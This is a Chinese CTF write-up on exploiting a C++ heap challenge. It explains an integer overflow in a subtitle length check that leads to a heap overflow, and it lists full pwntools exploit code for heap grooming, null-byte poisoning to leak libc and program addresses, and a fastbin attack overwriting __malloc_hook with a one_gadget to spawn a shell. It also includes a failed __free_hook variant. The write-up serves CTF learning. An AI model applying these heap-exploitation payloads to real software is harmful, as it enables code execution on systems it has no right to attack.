0x00 前言

第一次做C++的pwn,然后做的时候走了点弯路,做完之后发现此题其实并不难。。。所以打算把心路历程记录一下,总结经验以免以后掉进同样的坑。。。

0x01 C++逆向

这次C++的struct没弄好,浪费了好多时间,IDA一直不支持C++的类,所以特别蛋疼。。。这次是拿union搞的,把所有类放在一个共用体,弄完之后发现可读性极差。。。其实感觉最好还是把父类作为一个成员放在最前面(这里的话只有虚表),然后后面放其他子类的成员。。。

0x02 漏洞点

漏洞点在subtitle_init 0x26D0函数中

if ( a1->data )
{
    buf = 0;
    dest = 0LL;
    std::operator<<<std::char_traits<char>>((__int64)&std::cout, (__int64)"Subtitle Length : ");
    if ( read(0, &buf, 4uLL) <= 0 )
      exit(1);
    if ( a1->length + buf > 0x400 )// integer overflow
      buf = 0x400 - a1->length;
    dest = (void *)operator new[](a1->length + buf);// integer overflow
    if ( !dest )
      exit(1);
    std::operator<<<std::char_traits<char>>((__int64)&std::cout, (__int64)"Add Subtitle : ");
    memcpy(dest, a1->data, a1->length);
    if ( read(0, (char *)dest + a1->length, buf) <= 0 )// heap overflow
      exit(1);
    if ( a1->data )
      operator delete[](a1->data);
    a1->data = dest;
}

可见,当a1->length + buf <= 400,但是buf是一个很大的无符号数0xffffffff时,存在整形溢出,能过前面<=400的检查,也能分配一个正常大小的堆。但是在read(0, (char *)dest + a1->length, buf)时,相当于执行了read(0, (char *)dest + a1->length, 0xffffffff),存在堆溢出!

0x03 处理凌乱的堆

打开程序,发现bins里面并不是空的,有很多chunks,可能是因为C++的原因吧。这很不方便我们的利用,所以先通过不停地分配clips来把这些bins清空

def clear_heap():
	idx = 0
	for y in xrange(0,15):
		for x in xrange(0x1,0x9):
			create_video("/bin/sh\x00", x * 0x10)
			idx += 1
	for y in xrange(0,20):
		for x in xrange(1,3):
			create_video("/bin/sh\x00", x * 0x10)
			idx += 1
	for y in xrange(0,4):
		for x in xrange(3,4):
			create_video("/bin/sh\x00", x * 0x10)
			idx += 1
	for y in xrange(0,3):
		create_video("/bin/sh\x00", 0x60)
		idx += 1
	return idx #返回下一个用的index

这个/bin/sh没用的。。。不管他。。。

0x04 leak

一开始没看到read之后把size字段重置了,以为那样直接就能leak。。(盲人CTF,bestCTF

首先是要泄露libc的基址,也许要通过虚表地址泄露程序的基址,然后leak需要存在一个UAF,或者overlap chunk,所以要把溢出转换成这种东西。

然后这个我想了一段时间,最后觉得还是用null byte poisoning的思路比较合适。

这个利用方法不详细说了,不知道可以看看上面shellphish的how2heap。

然后这里要注意,null byte poisoning要让3个非fastbin的chunk互相连接,而这道题会先new一个类的对象,然后在初始化函数里面再new其data,所以直接从top chunk取的话没法保证data互相连接,所以要预先对堆做一点处理。还有就是,这题有内存泄露,delete掉类的时候只delete了data没有delete这个类。

怎么预先处理,就是让类的new从fastbin里面拿就好了,很简单,所以预先先放几个0x60的chunks在fastbin即可。(Video类大小为0x50)

create_video("video struct 1", 0x50) #0
create_video("video struct 2", 0x50) #1
create_video("video struct 3", 0x50) #2
create_video("video struct 4", 0x50) #3
create_video("video struct 5", 0x50) #4
remove(idx+0)
remove(idx+1)
remove(idx+2)
remove(idx+3)
remove(idx+4)
#now 5 0x60 chunk in fastbin

这个时候,再create_video只要data字段不会被分到0x60的chunk,类就会从fastbin里拿,而data就会从topchunk里面拿,这样就能有null byte poison的利用条件了。

接下来便是null byte poison利用,基本上跟how2heap上面差不多。首先新建一个subtitle,然后这个的类和data都会从topchunk里面取,其data的chunk作为chunk a,然后chunk b2先是用来作为一个video的data,再分配一个video的chunk在相同的位置,同时后面也有一个unsorted bin,所以一下子可以把程序基址和libc都leak出来。注意最后一个chunk很重要,不然就不是unsorted bin而是topchunk了,这样libc就leak不出来

create_subtitle(0x101, "A" * 0x101) #5
#take from topchunk

create_video("A" * 0x300 + p64(0x200) + p64(0x120), 0x310) #6
create_video("c", 0x100) #7
#take from topchunk

remove(idx+6)
#put into unsorted bin

#0x101 + 0xffffffff == actual size you want
recreate_subtitle(0xffffffff, "A" * 7 + p64(0x201)) #5
#this will also free a 0x111 chunk
create_video("consume 0x111 chunk", 0x100) # 8


create_video("chunk b1", 0x80) #9
create_video("A" * 0x160, 0x160) #10 b2 is its content
#now null byte poisoning done, we can take stuff from that 0x201 chunk
#now bins are clear
create_video("prevent topchunk consolidation", 0x28) # 11


remove(idx + 9)#free b1
remove(idx + 7)#free c

#null poison exploitation done!
#now bins are clear and b and c are merged to unsorted bin chunk
#take 0x90 chunk to arrive b2

create_video("video", 0x20) #12
#will malloc 0x50 and 0x20, consuming 0x90

create_video("struct to leak everything", 0x20) #13
#consum 0x90

leak_data = ""
leak_data = play_video(idx + 10)
prog_addr = u64(leak_data[:8]) - 0x203C70
libc_addr = u64(leak_data[0x90:0x98]) - (0x7f3be0421b78 - 0x7f3be005d000)
assert (prog_addr & 0xfff == 0) and (prog_addr & 0xfff == 0)
print hex(prog_addr)
print hex(libc_addr)

然后对堆做一些清理,进行下一阶段的利用

create_video("consume the 0x200 unsorted bin chunk", 0x200 - 0x60 - 0x10) # 14
remove(idx + 5) #delete subtitle
#causing 0x111 chunk in heap
create_video("consume that 0x111 chunk", 0x110 - 0x60 - 0x10) # 15
#now bins are empty again

0x05 fastbin attack

本来想溢出盖指针实现任意写这样直接利用的,就不用攻击堆管理器了比较简单,然后能直接改data字段的数据结构也就只有subtitle,所以就想通过subtitle那个整形溢出直接溢出他自己的类对象,改写指针到__free_hook,然后发现不行,因为subtitle_init 0x26D0在后面会把data字段delete掉,这个时候会delete掉__free_hook的地址,直接出错。。。

然后试着构造一个unsorted bin overlap chunk,就是覆盖unsorted bin的头延伸chunk大小,同时在相应新大小的尾部也要有正确的prev_sizesize,这能使得unsorted bin的chunk跟subtitle的类重合,再次new就可以重写subtitle的类,然后就快成功了,我在subtitle_edit 295A突然发现了这行代码。。。

if ( read(0, a1->field_8, 4uLL) <= 4 )
    exit(1);

小于等于4。。小于等于4。。。也就是说这个执行了一定会退出。。。看到这里有种想打死出题人的冲动。。。

所以还是攻击堆管理器吧(为什么早不这么做呢),可以fastbin attack写__malloc_hookone_gadget。。这个具体原理说一下,就是在__malloc_hook前有一个0x7fxxxxxxxxxx的地址,后面紧随一个0,然后我们可以利用这个0x7f做一个伪造的0x70 fastbin chunk(思考在小端情况下这两个数在内存中的布局),可以把在0x70的fastbin的fd指针写成libc_addr + e.symbols["__malloc_hook"] - 3 - 0x10,这样malloc两次0x70就能覆盖__malloc_hook了。这个利用的是libc在分配fastbin中的free chunk时只会检查size,而且不会检查低4位,什么prev size,align和next chunk都不会检查,所以可以这么利用。

然后把__malloc_hook写成one_gadget0x4526a这个刚好满足条件,然后再随便malloc一下就可以getshell

#fastbin attack---------------------------
create_video("for subtitle content",0x20) #16
create_video("fastbin bin to be attacked", 0x60) #17
create_video("for subtitle struct", 0x18) #18
create_video("for subtitle content",0x20, p64(0x140) + p64(0x30)) #19 fake next chunk
create_video("for video struct", 0x50) #20
remove(idx + 16)
remove(idx + 17)
remove(idx + 18)
remove(idx + 19)
remove(idx + 20)

create_subtitle(0x21, "A" * 0x21) #21

payload = "S" * 7
payload += "A" * 0x60
payload += p64(0x71)
payload += p64(libc_addr + e.symbols["__malloc_hook"] - 3 - 0x10)

recreate_subtitle(0xffffffff, payload)

create_video("A", 0x60)
create_video("A" * 3 + p64(libc_addr + 0x4526a), 0x60)

sh.send("1\n")
recv_input()
sh.send("1\n")

sh.interactive()

0x06 unsorted bin overlap代码

这个是失败版本的,虽然没用但是也可以学习参考下。。。

# overlap unsorted bin attack----------------------------
create_video("for subtitle content",0x20) #16
create_video("unsorted bin construct", 0x80) #17
create_video("for subtitle struct", 0x18) #18
create_video("for subtitle content",0x20, p64(0x140) + p64(0x30)) #19 fake next chunk
create_video("for video struct", 0x50) #20

remove(idx + 16)
remove(idx + 17)
remove(idx + 18)
remove(idx + 19)
remove(idx + 20)

create_subtitle(0x21, "A" * 0x21) #21


payload = "S" * 7
payload += "A" * 0x60
payload += p64(0x141)

recreate_subtitle(0xffffffff, payload)
#0x60 is struct of one of the video
#this extent size of unsorted bin chunk


payload = "A" * 0xf0
payload += p64(prog_addr + 0x203C10)
payload += "A" * 4 + p32(8)
payload += p64(libc_addr + e.symbols["__free_hook"])
create_video(payload, 0x130)

edit_subtitle(idx + 21, p64(libc_addr + e.symbols["system"]))
remove(0)

sh.interactive()